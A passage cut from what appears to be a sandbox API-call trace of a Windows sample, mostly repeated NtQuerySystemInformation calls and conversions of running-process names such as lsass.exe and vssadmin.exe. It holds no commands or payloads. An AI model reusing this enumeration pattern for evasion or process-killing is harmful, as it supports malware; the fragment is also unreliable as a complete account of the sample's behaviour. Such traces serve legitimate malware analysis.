Size=0xa) returned 0x3161e08 [0084.854] RtlFreeAnsiString (AnsiString="spies.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0084.854] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0084.854] RtlFreeAnsiString (AnsiString="allied.exe") [0084.854] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.854] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0084.854] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ae8 [0084.855] RtlFreeAnsiString (AnsiString="geo.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ae8) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171430 [0084.855] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171430) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0084.855] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x31713d0 [0084.855] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0084.855] RtlFreeAnsiString (AnsiString="dupleased.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168948 [0084.855] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0084.855] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168948) returned 1 [0084.855] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0084.855] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0084.856] RtlFreeAnsiString (AnsiString="dllhost.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0084.856] RtlFreeAnsiString (AnsiString="conhost.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0084.856] RtlFreeAnsiString (AnsiString="conhost.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0084.856] RtlFreeAnsiString (AnsiString="svchost.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171410 [0084.856] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171410) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0084.856] RtlFreeAnsiString (AnsiString="conhost.exe") [0084.856] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0084.856] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0084.856] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0084.857] RtlFreeAnsiString (AnsiString="explorer.exe") [0084.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0084.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0084.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0084.857] RtlFreeAnsiString (AnsiString="explorer.exe") [0084.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0084.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0084.857] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0084.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0084.857] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0084.857] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0084.857] RtlFreeAnsiString (AnsiString="conhost.exe") [0084.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0084.857] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0084.857] Sleep (dwMilliseconds=0x64) [0086.621] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0086.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.622] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0086.622] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.623] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0086.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.623] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0086.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.624] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0086.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.624] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0086.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.624] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0086.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.624] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0086.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.625] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0086.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.625] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0086.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.625] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0086.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.626] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0086.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.626] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0086.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.626] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0086.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.627] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0086.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.627] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0086.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.627] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0086.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.628] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0086.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.628] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0086.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.628] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0086.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.629] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0086.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.629] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0086.629] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.630] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0086.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.630] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0086.630] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.630] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0086.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.631] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0086.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.631] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0086.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.632] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0086.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0086.632] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0086.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175a38 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161dd8 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0086.633] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0086.633] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b88 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0086.634] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.634] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e50 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0086.635] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0086.635] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x3168970 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171510 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31713f0 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171510 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 